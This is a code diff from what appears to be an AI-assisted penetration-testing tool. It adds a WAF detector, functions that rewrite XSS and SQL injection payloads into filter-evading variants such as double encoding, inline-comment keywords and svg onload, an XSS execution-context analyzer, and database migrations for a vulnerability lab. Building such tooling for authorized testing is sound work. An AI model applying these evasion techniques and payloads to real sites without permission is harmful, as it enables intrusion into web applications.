self._cache[host] = waf_result
|
||||
|
||||
if detected:
|
||||
waf_names = ", ".join(f"{w.name}({w.confidence:.0%})" for w in detected)
|
||||
logger.info(f"WAF detected on {host}: {waf_names}")
|
||||
|
||||
return waf_result
|
||||
|
||||
def _check_signatures(
|
||||
self,
|
||||
headers: Dict[str, str],
|
||||
body: str,
|
||||
status: int,
|
||||
) -> List[WAFMatch]:
|
||||
"""Check response against WAF signature database."""
|
||||
matches = []
|
||||
headers_lower = {k.lower(): v.lower() for k, v in headers.items()}
|
||||
body_lower = (body or "").lower()[:5000]
|
||||
server = headers_lower.get("server", "")
|
||||
|
||||
for waf_name, sigs in WAF_SIGNATURES.items():
|
||||
evidence_parts = []
|
||||
confidence = 0.0
|
||||
|
||||
# Check headers
|
||||
for h in sigs.get("headers", []):
|
||||
if h.lower() in headers_lower:
|
||||
evidence_parts.append(f"header:{h}")
|
||||
confidence += 0.4
|
||||
|
||||
# Check body
|
||||
for b in sigs.get("body", []):
|
||||
if b.lower() in body_lower:
|
||||
evidence_parts.append(f"body:{b}")
|
||||
confidence += 0.3
|
||||
|
||||
# Check server header
|
||||
for s in sigs.get("server", []):
|
||||
if s.lower() in server:
|
||||
evidence_parts.append(f"server:{s}")
|
||||
confidence += 0.5
|
||||
|
||||
if evidence_parts:
|
||||
confidence = min(1.0, confidence)
|
||||
matches.append(WAFMatch(
|
||||
name=waf_name,
|
||||
confidence=confidence,
|
||||
detection_method="header" if any("header:" in e for e in evidence_parts) else "body",
|
||||
evidence=", ".join(evidence_parts),
|
||||
))
|
||||
|
||||
# Sort by confidence
|
||||
matches.sort(key=lambda m: m.confidence, reverse=True)
|
||||
return matches
|
||||
|
||||
def get_bypass_strategy(self, waf_name: str, vuln_type: str) -> Dict:
|
||||
"""Get bypass strategy for a specific WAF + vuln type combination."""
|
||||
strategies = BYPASS_STRATEGIES.get(waf_name, BYPASS_STRATEGIES["generic"])
|
||||
|
||||
# Normalize vuln type to category
|
||||
category = self._vuln_to_category(vuln_type)
|
||||
techniques = strategies.get(category, strategies.get("xss", []))
|
||||
general = strategies.get("general", {})
|
||||
|
||||
return {
|
||||
"techniques": techniques,
|
||||
"delay": general.get("delay", 0.3),
|
||||
"extra_headers": general.get("headers", {}),
|
||||
}
|
||||
|
||||
def adapt_payload(
|
||||
self, payload: str, waf_name: str, vuln_type: str
|
||||
) -> List[str]:
|
||||
"""Generate bypass variants of a payload for a specific WAF.
|
||||
|
||||
Returns list of adapted payloads, with original as fallback.
|
||||
"""
|
||||
strategy = self.get_bypass_strategy(waf_name, vuln_type)
|
||||
adapted = []
|
||||
|
||||
for technique in strategy.get("techniques", []):
|
||||
variant = self._apply_technique(payload, technique, vuln_type)
|
||||
if variant and variant != payload:
|
||||
adapted.append(variant)
|
||||
|
||||
# Deduplicate while preserving order
|
||||
seen = set()
|
||||
unique = []
|
||||
for p in adapted:
|
||||
if p not in seen:
|
||||
seen.add(p)
|
||||
unique.append(p)
|
||||
|
||||
return unique[:8] # Max 8 variants
|
||||
|
||||
def _vuln_to_category(self, vuln_type: str) -> str:
|
||||
"""Map specific vuln type to WAF bypass category."""
|
||||
sqli_types = {"sqli_error", "sqli_blind", "sqli_union", "sqli_time",
|
||||
"sqli", "nosql_injection"}
|
||||
xss_types = {"xss_reflected", "xss_stored", "xss_dom", "xss"}
|
||||
|
||||
if vuln_type in sqli_types:
|
||||
return "sqli"
|
||||
if vuln_type in xss_types:
|
||||
return "xss"
|
||||
return "xss" # Default category
|
||||
|
||||
def _apply_technique(self, payload: str, technique: str, vuln_type: str) -> Optional[str]:
|
||||
"""Apply a specific bypass technique to a payload."""
|
||||
try:
|
||||
if technique == "unicode_escape":
|
||||
return self._unicode_escape(payload)
|
||||
elif technique == "case_mixing":
|
||||
return self._case_mix(payload)
|
||||
elif technique == "double_encoding":
|
||||
return self._double_encode(payload)
|
||||
elif technique == "null_byte":
|
||||
return self._null_byte(payload)
|
||||
elif technique == "comment_injection":
|
||||
return self._comment_inject(payload)
|
||||
elif technique == "inline_comment":
|
||||
return self._inline_comment(payload)
|
||||
elif technique == "whitespace_variant":
|
||||
return self._whitespace_variant(payload)
|
||||
elif technique == "svg_payload":
|
||||
return self._svg_variant(payload)
|
||||
elif technique == "html_entity":
|
||||
return self._html_entity(payload)
|
||||
elif technique == "scientific_notation":
|
||||
return self._scientific_notation(payload)
|
||||
elif technique == "hex_encoding":
|
||||
return self._hex_encode(payload)
|
||||
elif technique == "concat_function":
|
||||
return self._concat_function(payload)
|
||||
except Exception:
|
||||
pass
|
||||
return None
|
||||
|
||||
# --- Bypass technique implementations ---
|
||||
|
||||
def _unicode_escape(self, payload: str) -> str:
|
||||
"""Replace key characters with unicode escapes."""
|
||||
replacements = {
|
||||
"<": "\\u003c", ">": "\\u003e", "'": "\\u0027",
|
||||
'"': "\\u0022", "/": "\\u002f",
|
||||
}
|
||||
result = payload
|
||||
for old, new in replacements.items():
|
||||
result = result.replace(old, new)
|
||||
return result
|
||||
|
||||
def _case_mix(self, payload: str) -> str:
|
||||
"""Alternate case: <ScRiPt>, uNiOn SeLeCt."""
|
||||
result = []
|
||||
upper = True
|
||||
for c in payload:
|
||||
if c.isalpha():
|
||||
result.append(c.upper() if upper else c.lower())
|
||||
upper = not upper
|
||||
else:
|
||||
result.append(c)
|
||||
return "".join(result)
|
||||
|
||||
def _double_encode(self, payload: str) -> str:
|
||||
"""Double URL-encode special characters."""
|
||||
import urllib.parse
|
||||
# First encode
|
||||
encoded = urllib.parse.quote(payload, safe="")
|
||||
# Encode the % signs
|
||||
return encoded.replace("%", "%25")
|
||||
|
||||
def _null_byte(self, payload: str) -> str:
|
||||
"""Insert null bytes before key characters."""
|
||||
return payload.replace("<", "%00<").replace("'", "%00'").replace('"', '%00"')
|
||||
|
||||
def _comment_inject(self, payload: str) -> str:
|
||||
"""Inject HTML comments into tags."""
|
||||
# <script> -> <scr<!---->ipt>
|
||||
payload = payload.replace("<script>", "<scr<!---->ipt>")
|
||||
payload = payload.replace("</script>", "</scr<!---->ipt>")
|
||||
return payload
|
||||
|
||||
def _inline_comment(self, payload: str) -> str:
|
||||
"""SQL inline comment bypass: UNION -> /*!50000UNION*/"""
|
||||
keywords = ["UNION", "SELECT", "OR", "AND", "FROM", "WHERE"]
|
||||
result = payload
|
||||
for kw in keywords:
|
||||
result = re.sub(
|
||||
rf'\b{kw}\b',
|
||||
f'/*!50000{kw}*/',
|
||||
result,
|
||||
flags=re.IGNORECASE
|
||||
)
|
||||
return result
|
||||
|
||||
def _whitespace_variant(self, payload: str) -> str:
|
||||
"""Replace spaces with alternative whitespace."""
|
||||
alternatives = ["%09", "%0a", "%0b", "%0c", "%0d", "%a0"]
|
||||
result = payload
|
||||
for alt in alternatives[:2]:
|
||||
result = result.replace(" ", alt, 1)
|
||||
return result
|
||||
|
||||
def _svg_variant(self, payload: str) -> str:
|
||||
"""Convert XSS to SVG-based payload."""
|
||||
# Extract the JS code if possible
|
||||
match = re.search(r'(?:alert|confirm|prompt)\([^)]*\)', payload)
|
||||
if match:
|
||||
js_code = match.group(0)
|
||||
return f'<svg onload="{js_code}">'
|
||||
return '<svg/onload=alert(1)>'
|
||||
|
||||
def _html_entity(self, payload: str) -> str:
|
||||
"""Encode with HTML entities."""
|
||||
replacements = {
|
||||
"<": "<", ">": ">", "'": "'",
|
||||
'"': """, "/": "/",
|
||||
}
|
||||
result = payload
|
||||
for old, new in replacements.items():
|
||||
result = result.replace(old, new)
|
||||
return result
|
||||
|
||||
def _scientific_notation(self, payload: str) -> str:
|
||||
"""Use scientific notation for SQL: 1 OR -> 1e0OR"""
|
||||
return re.sub(r'(\d+)\s+(OR|AND|UNION)', r'\1e0\2', payload, flags=re.IGNORECASE)
|
||||
|
||||
def _hex_encode(self, payload: str) -> str:
|
||||
"""Hex-encode string literals in SQL."""
|
||||
def to_hex(match):
|
||||
s = match.group(1)
|
||||
hex_str = "0x" + s.encode().hex()
|
||||
return hex_str
|
||||
return re.sub(r"'([^']+)'", to_hex, payload)
|
||||
|
||||
def _concat_function(self, payload: str) -> str:
|
||||
"""Use CONCAT() to build strings."""
|
||||
def concat_str(match):
|
||||
s = match.group(1)
|
||||
chars = ",".join(f"CHAR({ord(c)})" for c in s)
|
||||
return f"CONCAT({chars})"
|
||||
return re.sub(r"'([^']+)'", concat_str, payload)
|
||||
@@ -0,0 +1,444 @@
|
||||
"""
|
||||
NeuroSploit v3 - XSS Context Analyzer
|
||||
|
||||
Determines whether a payload reflected in HTML is in an executable position
|
||||
(auto-executing, interactive, or non-executable text content).
|
||||
|
||||
Used by XSS testers and response verifier for context-aware validation.
|
||||
"""
|
||||
import re
|
||||
from typing import Dict, Optional
|
||||
|
||||
|
||||
# Auto-executing events (fire without user interaction)
|
||||
AUTO_FIRE_EVENTS = {
|
||||
"onload", "onerror", "onabort", "onbegin", "onend", "onanimationend",
|
||||
"onanimationstart", "ontransitionend", "onhashchange", "onpageshow",
|
||||
"onpopstate", "onresize", "onscroll", "onstorage", "onunload",
|
||||
"ontoggle", # when paired with <details open>
|
||||
}
|
||||
|
||||
# Interactive events (require user action)
|
||||
INTERACTIVE_EVENTS = {
|
||||
"onclick", "ondblclick", "onmousedown", "onmouseup", "onmouseover",
|
||||
"onmousemove", "onmouseout", "onmouseenter", "onmouseleave",
|
||||
"onkeypress", "onkeydown", "onkeyup", "onfocus", "onblur",
|
||||
"onchange", "onsubmit", "onreset", "onselect", "oninput",
|
||||
"oncontextmenu", "oncopy", "oncut", "onpaste", "ondrag", "ondrop",
|
||||
"onpointerdown", "onpointerup", "onpointerover", "onpointermove",
|
||||
"ontouchstart", "ontouchend", "ontouchmove", "onfocusin", "onfocusout",
|
||||
"onauxclick", "onsearch",
|
||||
}
|
||||
|
||||
ALL_EVENTS = AUTO_FIRE_EVENTS | INTERACTIVE_EVENTS
|
||||
|
||||
# Tags that auto-fire events
|
||||
AUTO_FIRE_TAGS = {
|
||||
"script": True, # auto-executes content
|
||||
"img": {"onerror"},
|
||||
"video": {"onerror"},
|
||||
"audio": {"onerror"},
|
||||
"source": {"onerror"},
|
||||
"object": {"onerror"},
|
||||
"embed": {"onerror"},
|
||||
"body": {"onload"},
|
||||
"svg": {"onload"},
|
||||
"math": set(),
|
||||
"input": {"onfocus"}, # with autofocus
|
||||
"select": {"onfocus"},
|
||||
"textarea": {"onfocus"},
|
||||
"details": {"ontoggle"}, # with open attribute
|
||||
}
|
||||
|
||||
# Safe containers that suppress execution
|
||||
SAFE_CONTAINERS = {"textarea", "title", "noscript", "xmp", "plaintext", "listing"}
|
||||
|
||||
# Pattern to find the innermost enclosing tag
|
||||
_RE_BEFORE_TAG = re.compile(r'<(\w+)(?:\s[^>]*)?>(?=[^<]*$)', re.IGNORECASE)
|
||||
_RE_OPEN_SCRIPT = re.compile(r'<script\b[^>]*>', re.IGNORECASE)
|
||||
_RE_CLOSE_SCRIPT = re.compile(r'</script\b', re.IGNORECASE)
|
||||
_RE_COMMENT_OPEN = re.compile(r'<!--(?!.*-->)', re.DOTALL)
|
||||
_RE_STYLE_OPEN = re.compile(r'<style\b[^>]*>', re.IGNORECASE)
|
||||
_RE_STYLE_CLOSE = re.compile(r'</style\b', re.IGNORECASE)
|
||||
_RE_EVENT_ATTR = re.compile(r'(on\w+)\s*=\s*["\']?', re.IGNORECASE)
|
||||
_RE_JS_URI = re.compile(r'(?:href|src|action|formaction)\s*=\s*["\']?\s*javascript:', re.IGNORECASE)
|
||||
|
||||
|
||||
def analyze_xss_execution_context(
|
||||
html_body: str,
|
||||
payload: str,
|
||||
payload_lower: Optional[str] = None,
|
||||
) -> Dict:
|
||||
"""
|
||||
Determine whether a payload reflected in HTML is in an executable position.
|
||||
|
||||
Returns:
|
||||
{
|
||||
"executable": bool, # True if payload can auto-execute (no user action)
|
||||
"interactive": bool, # True if payload executes WITH user interaction
|
||||
"context": str, # Context identifier
|
||||
"confidence": float, # 0.0 - 1.0
|
||||
"detail": str, # Human-readable explanation
|
||||
}
|
||||
"""
|
||||
result = {
|
||||
"executable": False,
|
||||
"interactive": False,
|
||||
"context": "not_found",
|
||||
"confidence": 0.0,
|
||||
"detail": "Payload not found in response",
|
||||
}
|
||||
|
||||
if not html_body or not payload:
|
||||
return result
|
||||
|
||||
if payload_lower is None:
|
||||
payload_lower = payload.lower()
|
||||
|
||||
body_lower = html_body.lower()
|
||||
|
||||
# Find payload position (try exact first, then case-insensitive)
|
||||
pos = html_body.find(payload)
|
||||
if pos == -1:
|
||||
pos = body_lower.find(payload_lower)
|
||||
if pos == -1:
|
||||
return result
|
||||
|
||||
# Extract surrounding context
|
||||
before_start = max(0, pos - 300)
|
||||
after_end = min(len(html_body), pos + len(payload) + 150)
|
||||
before = html_body[before_start:pos]
|
||||
after = html_body[pos + len(payload):after_end]
|
||||
before_lower = before.lower()
|
||||
after_lower = after.lower()
|
||||
|
||||
# Check for HTML encoding of the payload
|
||||
encoded_payload = payload.replace("<", "<").replace(">", ">")
|
||||
if encoded_payload != payload and encoded_payload in html_body:
|
||||
# The payload appears HTML-encoded
|
||||
result.update({
|
||||
"context": "encoded",
|
||||
"confidence": 0.1,
|
||||
"detail": f"Payload appears HTML-encoded (</>)",
|
||||
})
|
||||
return result
|
||||
|
||||
# --- Check 1: Inside HTML comment ---
|
||||
if "<!--" in before and "-->" not in before[before.rfind("<!--"):]:
|
||||
result.update({
|
||||
"context": "html_comment",
|
||||
"confidence": 0.1,
|
||||
"detail": "Payload inside HTML comment",
|
||||
})
|
||||
return result
|
||||
|
||||
# --- Check 2: Inside <script> tag ---
|
||||
script_opens = list(_RE_OPEN_SCRIPT.finditer(before))
|
||||
script_closes = list(_RE_CLOSE_SCRIPT.finditer(before))
|
||||
if script_opens:
|
||||
last_open = script_opens[-1].end()
|
||||
last_close = script_closes[-1].start() if script_closes else -1
|
||||
if last_open > last_close:
|
||||
# We're inside a <script> block
|
||||
# Check if payload breaks out of a JS string
|
||||
if _payload_breaks_js_string(before[last_open:], payload):
|
||||
result.update({
|
||||
"executable": True,
|
||||
"context": "script_breakout",
|
||||
"confidence": 0.95,
|
||||
"detail": "Payload breaks out of JS string inside <script> tag",
|
||||
})
|
||||
return result
|
||||
# Check if payload introduces new code (not just a data value)
|
||||
if any(kw in payload_lower for kw in ["alert(", "confirm(", "prompt(", "eval(", "function(", "document.", "window."]):
|
||||
result.update({
|
||||
"executable": True,
|
||||
"context": "script_body",
|
||||
"confidence": 0.90,
|
||||
"detail": "Payload with JS execution inside <script> tag",
|
||||
})
|
||||
return result
|
||||
result.update({
|
||||
"executable": True,
|
||||
"context": "script_body",
|
||||
"confidence": 0.85,
|
||||
"detail": "Payload inside <script> tag",
|
||||
})
|
||||
return result
|
||||
|
||||
# --- Check 3: Inside <style> tag (safe) ---
|
||||
style_opens = list(_RE_STYLE_OPEN.finditer(before_lower))
|
||||
style_closes = list(_RE_STYLE_CLOSE.finditer(before_lower))
|
||||
if style_opens:
|
||||
last_open = style_opens[-1].end()
|
||||
last_close = style_closes[-1].start() if style_closes else -1
|
||||
if last_open > last_close:
|
||||
result.update({
|
||||
"context": "safe_container",
|
||||
"confidence": 0.1,
|
||||
"detail": "Payload inside <style> tag",
|
||||
})
|
||||
return result
|
||||
|
||||
# --- Check 4: Inside a safe container ---
|
||||
for container in SAFE_CONTAINERS:
|
||||
open_pat = f"<{container}"
|
||||
close_pat = f"</{container}"
|
||||
if open_pat in before_lower:
|
||||
last_open = before_lower.rfind(open_pat)
|
||||
last_close = before_lower.rfind(close_pat)
|
||||
if last_open > last_close:
|
||||
result.update({
|
||||
"context": "safe_container",
|
||||
"confidence": 0.1,
|
||||
"detail": f"Payload inside <{container}> (safe container)",
|
||||
})
|
||||
return result
|
||||
|
||||
# --- Check 5: Payload itself introduces a new HTML tag ---
|
||||
if "<" in payload:
|
||||
return _analyze_injected_tag(payload, payload_lower, result)
|
||||
|
||||
# --- Check 6: Determine if we're inside an HTML tag (attributes) or text content ---
|
||||
# Find the last `<` in `before` and check if there's a `>` after it
|
||||
last_lt = before.rfind("<")
|
||||
in_tag = False
|
||||
tag_name = ""
|
||||
tag_region_before = ""
|
||||
|
||||
if last_lt >= 0:
|
||||
# Text between last < and payload position
|
||||
tag_region_before = before[last_lt:]
|
||||
# If no > after the last <, we're inside an open tag (attribute region)
|
||||
if ">" not in tag_region_before:
|
||||
in_tag = True
|
||||
# Extract tag name
|
||||
tm = re.match(r'<(\w+)', tag_region_before)
|
||||
if tm:
|
||||
tag_name = tm.group(1).lower()
|
||||
|
||||
if in_tag and tag_name:
|
||||
# We're inside a tag's attribute region
|
||||
# Build the full attribute region: from <tag... to the closing >
|
||||
first_gt = after.find(">")
|
||||
after_to_close = after[:first_gt] if first_gt >= 0 else after
|
||||
full_attr = tag_region_before + payload + after_to_close
|
||||
full_attr_lower = full_attr.lower()
|
||||
|
||||
# Check if payload is the VALUE of an event handler attribute
|
||||
# Look for on*= patterns in the text BEFORE the payload (within the tag)
|
||||
before_in_tag = tag_region_before.lower()
|
||||
for m in _RE_EVENT_ATTR.finditer(before_in_tag):
|
||||
event_name = m.group(1).lower()
|
||||
# This event is BEFORE the payload — payload is (part of) its value
|
||||
if event_name in AUTO_FIRE_EVENTS:
|
||||
result.update({
|
||||
"executable": True,
|
||||
"interactive": False,
|
||||
"context": "event_handler_auto",
|
||||
"confidence": 0.95,
|
||||
"detail": f"Payload is value of auto-firing event '{event_name}' on <{tag_name}>",
|
||||
})
|
||||
return result
|
||||
elif event_name in INTERACTIVE_EVENTS:
|
||||
result.update({
|
||||
"executable": False,
|
||||
"interactive": True,
|
||||
"context": "event_handler",
|
||||
"confidence": 0.90,
|
||||
"detail": f"Payload is value of interactive event '{event_name}' on <{tag_name}> (requires user action)",
|
||||
})
|
||||
return result
|
||||
|
||||
# Check if we're inside a javascript: URI attribute
|
||||
if _RE_JS_URI.search(before_in_tag):
|
||||
result.update({
|
||||
"executable": False,
|
||||
"interactive": True,
|
||||
"context": "javascript_uri",
|
||||
"confidence": 0.90,
|
||||
"detail": f"Payload inside javascript: URI on <{tag_name}>",
|
||||
})
|
||||
return result
|
||||
|
||||
# Check if payload creates an event handler via attribute breakout
|
||||
if _payload_creates_event(payload_lower):
|
||||
# Check if autofocus is also present (makes onfocus auto-fire)
|
||||
combined = (payload_lower + after_to_close.lower())
|
||||
has_autofocus = "autofocus" in combined
|
||||
for evt in ALL_EVENTS:
|
||||
pat = rf'{evt}\s*='
|
||||
if re.search(pat, payload_lower):
|
||||
if evt == "onfocus" and has_autofocus:
|
||||
result.update({
|
||||
"executable": True,
|
||||
"interactive": False,
|
||||
"context": "attribute_breakout_auto",
|
||||
"confidence": 0.95,
|
||||
"detail": f"Payload breaks attribute to create {evt}+autofocus on <{tag_name}> (auto-fires)",
|
||||
})
|
||||
return result
|
||||
elif evt in AUTO_FIRE_EVENTS:
|
||||
result.update({
|
||||
"executable": True,
|
||||
"interactive": False,
|
||||
"context": "attribute_breakout_auto",
|
||||
"confidence": 0.90,
|
||||
"detail": f"Payload breaks attribute to create auto-firing {evt} on <{tag_name}>",
|
||||
})
|
||||
return result
|
||||
else:
|
||||
result.update({
|
||||
"executable": False,
|
||||
"interactive": True,
|
||||
"context": "attribute_breakout_event",
|
||||
"confidence": 0.90,
|
||||
"detail": f"Payload breaks attribute to create {evt} on <{tag_name}> (requires interaction)",
|
||||
})
|
||||
return result
|
||||
|
||||
# Inside a regular attribute value (not event handler, not JS URI)
|
||||
result.update({
|
||||
"context": "attribute_value",
|
||||
"confidence": 0.3,
|
||||
"detail": f"Payload inside non-event attribute of <{tag_name}>",
|
||||
})
|
||||
return result
|
||||
|
||||
# --- Check 7: Payload contains event handler patterns but is in text content ---
|
||||
# (e.g., "onclick=alert(1)" as literal text, NOT inside a tag)
|
||||
# This is NOT executable — it's just text
|
||||
|
||||
# --- Check 8: Plain text content ---
|
||||
result.update({
|
||||
"context": "text_content",
|
||||
"confidence": 0.2,
|
||||
"detail": "Payload reflected as plain text content in HTML body",
|
||||
})
|
||||
return result
|
||||
|
||||
|
||||
def _payload_breaks_js_string(js_before: str, payload: str) -> bool:
|
||||
"""Check if payload breaks out of a JS string context."""
|
||||
# Look for string delimiters just before payload
|
||||
stripped = js_before.rstrip()
|
||||
if not stripped:
|
||||
return False
|
||||
# Payload starts with string terminator + code
|
||||
p = payload.lstrip()
|
||||
if p and p[0] in ("'", '"', '`'):
|
||||
return True
|
||||
# Payload contains </script>
|
||||
if "</script>" in payload.lower():
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
def _payload_creates_event(payload_lower: str) -> bool:
|
||||
"""Check if payload string creates an event handler (attribute breakout)."""
|
||||
for evt in ALL_EVENTS:
|
||||
if evt in payload_lower and "=" in payload_lower:
|
||||
# e.g., " onfocus=alert(1) autofocus x="
|
||||
pat = rf'{evt}\s*='
|
||||
if re.search(pat, payload_lower):
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
def _analyze_injected_tag(payload: str, payload_lower: str, result: Dict) -> Dict:
|
||||
"""Analyze a payload that introduces new HTML tags."""
|
||||
# Extract tags from payload
|
||||
tags = re.findall(r'<(\w+)', payload_lower)
|
||||
if not tags:
|
||||
result.update({
|
||||
"context": "text_content",
|
||||
"confidence": 0.3,
|
||||
"detail": "Payload contains < but no recognizable tags",
|
||||
})
|
||||
return result
|
||||
|
||||
primary_tag = tags[0]
|
||||
|
||||
# <script> tag = auto-execute
|
||||
if "script" in tags:
|
||||
result.update({
|
||||
"executable": True,
|
||||
"context": "injected_script_tag",
|
||||
"confidence": 0.95,
|
||||
"detail": f"Payload injects <script> tag",
|
||||
})
|
||||
return result
|
||||
|
||||
# Check for event handlers in the payload
|
||||
events_in_payload = set()
|
||||
for m in _RE_EVENT_ATTR.finditer(payload_lower):
|
||||
events_in_payload.add(m.group(1).lower())
|
||||
|
||||
auto_events = events_in_payload & AUTO_FIRE_EVENTS
|
||||
interactive_events = events_in_payload & INTERACTIVE_EVENTS
|
||||
|
||||
# Check for autofocus (makes onfocus auto-fire)
|
||||
has_autofocus = "autofocus" in payload_lower
|
||||
if has_autofocus and "onfocus" in events_in_payload:
|
||||
auto_events.add("onfocus")
|
||||
interactive_events.discard("onfocus")
|
||||
|
||||
# Check for <details open ontoggle>
|
||||
if "details" in tags and "open" in payload_lower and "ontoggle" in events_in_payload:
|
||||
auto_events.add("ontoggle")
|
||||
interactive_events.discard("ontoggle")
|
||||
|
||||
# img/video/audio with src=x onerror → auto-fires
|
||||
if primary_tag in ("img", "video", "audio", "source", "object", "embed", "input"):
|
||||
if "onerror" in events_in_payload and ("src=" in payload_lower or "src =" in payload_lower):
|
||||
auto_events.add("onerror")
|
||||
interactive_events.discard("onerror")
|
||||
|
||||
# svg/body onload → auto-fires
|
||||
if primary_tag in ("svg", "body", "math") and "onload" in events_in_payload:
|
||||
auto_events.add("onload")
|
||||
interactive_events.discard("onload")
|
||||
|
||||
# SVG animate/set onbegin → auto-fires
|
||||
if primary_tag in ("animate", "animatetransform", "set", "discard") and "onbegin" in events_in_payload:
|
||||
auto_events.add("onbegin")
|
||||
interactive_events.discard("onbegin")
|
||||
|
||||
# javascript: URI
|
||||
if "javascript:" in payload_lower:
|
||||
result.update({
|
||||
"executable": False,
|
||||
"interactive": True,
|
||||
"context": "injected_js_uri",
|
||||
"confidence": 0.90,
|
||||
"detail": f"Payload injects <{primary_tag}> with javascript: URI",
|
||||
})
|
||||
return result
|
||||
|
||||
if auto_events:
|
||||
result.update({
|
||||
"executable": True,
|
||||
"interactive": False,
|
||||
"context": "injected_tag_auto",
|
||||
"confidence": 0.95,
|
||||
"detail": f"Payload injects <{primary_tag}> with auto-firing event(s): {', '.join(auto_events)}",
|
||||
})
|
||||
return result
|
||||
|
||||
if interactive_events:
|
||||
result.update({
|
||||
"executable": False,
|
||||
"interactive": True,
|
||||
"context": "injected_tag_interactive",
|
||||
"confidence": 0.85,
|
||||
"detail": f"Payload injects <{primary_tag}> with interactive event(s): {', '.join(interactive_events)}",
|
||||
})
|
||||
return result
|
||||
|
||||
# Tag injected but no events
|
||||
result.update({
|
||||
"context": "injected_tag_no_event",
|
||||
"confidence": 0.4,
|
||||
"detail": f"Payload injects <{primary_tag}> but without executable event handlers",
|
||||
})
|
||||
return result
|
||||
@@ -87,6 +87,30 @@ async def _run_migrations(conn):
|
||||
logger.info("Adding 'poc_evidence' column to vulnerabilities table...")
|
||||
await conn.execute(text("ALTER TABLE vulnerabilities ADD COLUMN poc_evidence TEXT"))
|
||||
|
||||
if "screenshots" not in columns:
|
||||
logger.info("Adding 'screenshots' column to vulnerabilities table...")
|
||||
await conn.execute(text("ALTER TABLE vulnerabilities ADD COLUMN screenshots JSON DEFAULT '[]'"))
|
||||
|
||||
if "url" not in columns:
|
||||
logger.info("Adding 'url' column to vulnerabilities table...")
|
||||
await conn.execute(text("ALTER TABLE vulnerabilities ADD COLUMN url TEXT"))
|
||||
|
||||
if "parameter" not in columns:
|
||||
logger.info("Adding 'parameter' column to vulnerabilities table...")
|
||||
await conn.execute(text("ALTER TABLE vulnerabilities ADD COLUMN parameter VARCHAR(500)"))
|
||||
|
||||
if "validation_status" not in columns:
|
||||
logger.info("Adding 'validation_status' column to vulnerabilities table...")
|
||||
await conn.execute(text("ALTER TABLE vulnerabilities ADD COLUMN validation_status VARCHAR(20) DEFAULT 'ai_confirmed'"))
|
||||
|
||||
if "ai_rejection_reason" not in columns:
|
||||
logger.info("Adding 'ai_rejection_reason' column to vulnerabilities table...")
|
||||
await conn.execute(text("ALTER TABLE vulnerabilities ADD COLUMN ai_rejection_reason TEXT"))
|
||||
|
||||
if "poc_code" not in columns:
|
||||
logger.info("Adding 'poc_code' column to vulnerabilities table...")
|
||||
await conn.execute(text("ALTER TABLE vulnerabilities ADD COLUMN poc_code TEXT"))
|
||||
|
||||
# Check if agent_tasks table exists
|
||||
result = await conn.execute(
|
||||
text("SELECT name FROM sqlite_master WHERE type='table' AND name='agent_tasks'")
|
||||
@@ -142,6 +166,52 @@ async def _run_migrations(conn):
|
||||
"""))
|
||||
await conn.execute(text("CREATE INDEX IF NOT EXISTS idx_vulnerability_tests_scan_id ON vulnerability_tests(scan_id)"))
|
||||
|
||||
# Check if vuln_lab_challenges table exists
|
||||
result = await conn.execute(
|
||||
text("SELECT name FROM sqlite_master WHERE type='table' AND name='vuln_lab_challenges'")
|
||||
)
|
||||
if not result.fetchone():
|
||||
logger.info("Creating 'vuln_lab_challenges' table...")
|
||||
await conn.execute(text("""
|
||||
CREATE TABLE vuln_lab_challenges (
|
||||
id VARCHAR(36) PRIMARY KEY,
|
||||
target_url TEXT NOT NULL,
|
||||
challenge_name VARCHAR(255),
|
||||
vuln_type VARCHAR(100) NOT NULL,
|
||||
vuln_category VARCHAR(50),
|
||||
auth_type VARCHAR(20),
|
||||
auth_value TEXT,
|
||||
status VARCHAR(20) DEFAULT 'pending',
|
||||
result VARCHAR(20),
|
||||
agent_id VARCHAR(36),
|
||||
scan_id VARCHAR(36),
|
||||
findings_count INTEGER DEFAULT 0,
|
||||
critical_count INTEGER DEFAULT 0,
|
||||
high_count INTEGER DEFAULT 0,
|
||||
medium_count INTEGER DEFAULT 0,
|
||||
low_count INTEGER DEFAULT 0,
|
||||
info_count INTEGER DEFAULT 0,
|
||||
findings_detail JSON DEFAULT '[]',
|
||||
started_at DATETIME,
|
||||
completed_at DATETIME,
|
||||
duration INTEGER,
|
||||
notes TEXT,
|
||||
logs JSON DEFAULT '[]',
|
||||
endpoints_count INTEGER DEFAULT 0,
|
||||
created_at DATETIME DEFAULT CURRENT_TIMESTAMP
|
||||
)
|
||||
"""))
|
||||
await conn.execute(text("CREATE INDEX IF NOT EXISTS idx_vuln_lab_status ON vuln_lab_challenges(status)"))
|
||||
await conn.execute(text("CREATE INDEX IF NOT EXISTS idx_vuln_lab_vuln_type ON vuln_lab_challenges(vuln_type)"))
|
||||
else:
|
||||
# Migrate existing table - add new columns if missing
|
||||
result = await conn.execute(text("PRAGMA table_info(vuln_lab_challenges)"))
|
||||
columns = [row[1] for row in result.fetchall()]
|
||||
if "logs" not in columns:
|
||||
await conn.execute(text("ALTER TABLE vuln_lab_challenges ADD COLUMN logs JSON DEFAULT '[]'"))
|
||||
if "endpoints_count" not in columns:
|
||||
await conn.execute(text("ALTER TABLE vuln_lab_challenges ADD COLUMN endpoints_count INTEGER DEFAULT 0"))
|
||||
|
||||
logger.info("Database migrations completed")
|
||||
except Exception as e:
|
||||
logger.warning(f"Migration check failed (may be normal on first run): {e}")
|
||||
|
||||
+41
-1
@@ -11,7 +11,7 @@ from pathlib import Path
|
||||
|
||||
from backend.config import settings
|
||||
from backend.db.database import init_db, close_db
|
||||
from backend.api.v1 import scans, targets, prompts, reports, dashboard, vulnerabilities, settings as settings_router, agent, agent_tasks
|
||||
from backend.api.v1 import scans, targets, prompts, reports, dashboard, vulnerabilities, settings as settings_router, agent, agent_tasks, scheduler, vuln_lab, terminal, sandbox
|
||||
from backend.api.websocket import manager as ws_manager
|
||||
|
||||
|
||||
@@ -23,9 +23,45 @@ async def lifespan(app: FastAPI):
|
||||
await init_db()
|
||||
print("Database initialized")
|
||||
|
||||
# Initialize scheduler
|
||||
try:
|
||||
import json
|
||||
config_path = Path(__file__).parent.parent / "config" / "config.json"
|
||||
if config_path.exists():
|
||||
with open(config_path) as f:
|
||||
config = json.load(f)
|
||||
from core.scheduler import ScanScheduler
|
||||
scan_scheduler = ScanScheduler(config)
|
||||
scan_scheduler.start()
|
||||
app.state.scheduler = scan_scheduler
|
||||
print(f"Scheduler initialized (enabled={scan_scheduler.enabled})")
|
||||
else:
|
||||
app.state.scheduler = None
|
||||
except Exception as e:
